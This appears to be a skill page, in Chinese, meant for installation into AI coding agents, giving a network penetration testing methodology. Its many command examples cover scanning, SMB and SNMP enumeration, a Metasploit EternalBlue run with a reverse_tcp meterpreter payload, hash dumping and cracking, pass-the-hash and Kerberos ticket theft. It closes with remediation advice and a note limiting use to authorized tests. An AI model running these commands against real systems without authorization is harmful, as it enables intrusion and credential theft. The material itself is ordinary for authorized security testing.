# Network Penetration Testing > 网络渗透测试的专业技能和方法论 Use when this capability is needed. - Skill: `tomevault-io/network-penetration-testing` (Agent Skill, multi-file: 2 files) - Install (CLI): `npx skillmds@latest add tomevault-io/network-penetration-testing` - Raw SKILL.md: https://api.skillmd.com/api/skills/tomevault-io/network-penetration-testing/raw - Safety review: pending (external: skill-scanner PASS, skillspector WARNING) - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Coding & Dev Tools - Author: tomevault-io (https://skillmd.com/u/tomevault-io) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/tomevault-io/network-penetration-testing --- # 网络渗透测试 ## 概述 网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。 ## 测试范围 ### 1. 信息收集 **检查项目：** - 网络拓扑 - 主机发现 - 端口扫描 - 服务识别 ### 2. 漏洞扫描 **检查项目：** - 系统漏洞 - 服务漏洞 - 配置错误 - 弱密码 ### 3. 漏洞利用 **检查项目：** - 远程代码执行 - 权限提升 - 横向移动 - 持久化 ## 信息收集 ### 网络扫描 **使用Nmap：** ```bash # 主机发现 nmap -sn 192.168.1.0/24 # 端口扫描 nmap -sS -p- 192.168.1.100 # 服务识别 nmap -sV -sC 192.168.1.100 # 操作系统识别 nmap -O 192.168.1.100 # 完整扫描 nmap -sS -sV -sC -O -p- 192.168.1.100 ``` **使用Masscan：** ```bash # 快速端口扫描 masscan -p1-65535 192.168.1.0/24 --rate=1000 ``` ### 服务枚举 **SMB枚举：** ```bash # 枚举SMB共享 smbclient -L //192.168.1.100 -N # 枚举SMB用户 enum4linux -U 192.168.1.100 # 使用nmap脚本 nmap --script smb-enum-shares,smb-enum-users 192.168.1.100 ``` **RPC枚举：** ```bash # 枚举RPC服务 rpcclient -U "" -N 192.168.1.100 # 使用nmap脚本 nmap --script rpc-enum 192.168.1.100 ``` **SNMP枚举：** ```bash # SNMP扫描 snmpwalk -v2c -c public 192.168.1.100 # 使用onesixtyone onesixtyone -c wordlist.txt 192.168.1.0/24 ``` ## 漏洞扫描 ### 使用Nessus ```bash # 启动Nessus # 访问Web界面 # 创建扫描任务 # 分析扫描结果 ``` ### 使用OpenVAS ```bash # 启动OpenVAS gvm-setup # 访问Web界面 # 创建扫描任务 # 分析扫描结果 ``` ### 使用Nmap脚本 ```bash # 漏洞扫描 nmap --script vuln 192.168.1.100 # 特定漏洞扫描 nmap --script smb-vuln-ms17-010 192.168.1.100 # 所有脚本 nmap --script all 192.168.1.100 ``` ## 漏洞利用 ### Metasploit **基础使用：** ```bash # 启动Metasploit msfconsole # 搜索漏洞 search ms17-010 # 使用模块 use exploit/windows/smb/ms17_010_eternalblue # 设置参数 set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.10 set LPORT 4444 # 执行 exploit ``` **后渗透：** ```bash # 获取系统信息 sysinfo # 获取权限 getsystem # 迁移进程 migrate # 获取哈希 hashdump # 获取密码 run post/windows/gather/smart_hashdump ``` ### 常见漏洞利用 **EternalBlue：** ```bash # 使用Metasploit use exploit/windows/smb/ms17_010_eternalblue # 使用独立工具 python eternalblue.py 192.168.1.100 ``` **BlueKeep：** ```bash # 使用Metasploit use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ``` **SMBGhost：** ```bash # 使用独立工具 python smbghost.py 192.168.1.100 ``` ## 横向移动 ### 密码破解 **使用Hashcat：** ```bash # 破解NTLM哈希 hashcat -m 1000 hashes.txt wordlist.txt # 破解LM哈希 hashcat -m 3000 hashes.txt wordlist.txt # 使用规则 hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule ``` **使用John：** ```bash # 破解哈希 john hashes.txt # 使用字典 john --wordlist=wordlist.txt hashes.txt # 使用规则 john --wordlist=wordlist.txt --rules hashes.txt ``` ### Pass-the-Hash **使用Impacket：** ```bash # SMB Pass-the-Hash python smbexec.py -hashes : domain/user@target # WMI Pass-the-Hash python wmiexec.py -hashes : domain/user@target # RDP Pass-the-Hash xfreerdp /u:user /pth: /v:target ``` ### 票据传递 **使用Mimikatz：** ```bash # 提取票据 sekurlsa::tickets /export # 注入票据 kerberos::ptt ticket.kirbi ``` **使用Rubeus：** ```bash # 请求票据 Rubeus.exe asktgt /user:user /domain:domain /rc4:hash # 注入票据 Rubeus.exe ptt /ticket:ticket.kirbi ``` ## 工具使用 ### Nmap ```bash # 完整扫描 nmap -sS -sV -sC -O -p- -T4 target # 隐蔽扫描 nmap -sS -T2 -f -D RND:10 target # UDP扫描 nmap -sU -p- target ``` ### Metasploit ```bash # 启动框架 msfconsole # 数据库初始化 msfdb init # 导入扫描结果 db_import nmap.xml # 查看主机 hosts # 查看服务 services ``` ### Burp Suite **网络扫描：** 1. 配置代理 2. 浏览目标网络 3. 分析流量 4. 主动扫描 ## 测试清单 ### 信息收集 - [ ] 网络拓扑发现 - [ ] 主机发现 - [ ] 端口扫描 - [ ] 服务识别 - [ ] 操作系统识别 ### 漏洞扫描 - [ ] 系统漏洞扫描 - [ ] 服务漏洞扫描 - [ ] 配置错误检查 - [ ] 弱密码检查 ### 漏洞利用 - [ ] 远程代码执行 - [ ] 权限提升 - [ ] 横向移动 - [ ] 持久化 ## 常见安全问题 ### 1. 未打补丁的系统 **问题：** - 系统未及时更新 - 存在已知漏洞 - 补丁管理不当 **修复：** - 及时安装补丁 - 建立补丁管理流程 - 定期安全更新 ### 2. 弱密码 **问题：** - 默认密码 - 简单密码 - 密码重用 **修复：** - 实施强密码策略 - 启用多因素认证 - 定期更换密码 ### 3. 开放端口 **问题：** - 不必要的端口开放 - 服务暴露 - 防火墙配置错误 **修复：** - 关闭不必要端口 - 实施防火墙规则 - 使用VPN访问 ### 4. 配置错误 **问题：** - 默认配置 - 权限过大 - 服务配置不当 **修复：** - 安全配置基线 - 最小权限原则 - 定期配置审查 ## 最佳实践 ### 1. 信息收集 - 全面扫描 - 多工具验证 - 记录发现 - 分析结果 ### 2. 漏洞利用 - 授权测试 - 最小影响 - 记录操作 - 及时清理 ### 3. 报告编写 - 详细记录 - 风险评级 - 修复建议 - 验证步骤 ## 注意事项 - 仅在授权环境中进行测试 - 避免对生产系统造成影响 - 遵守法律法规 - 保护测试数据 --- > Converted and distributed by [TomeVault](https://tomevault.io/claim/ed1s0nz) — claim your Tome and manage your conversions.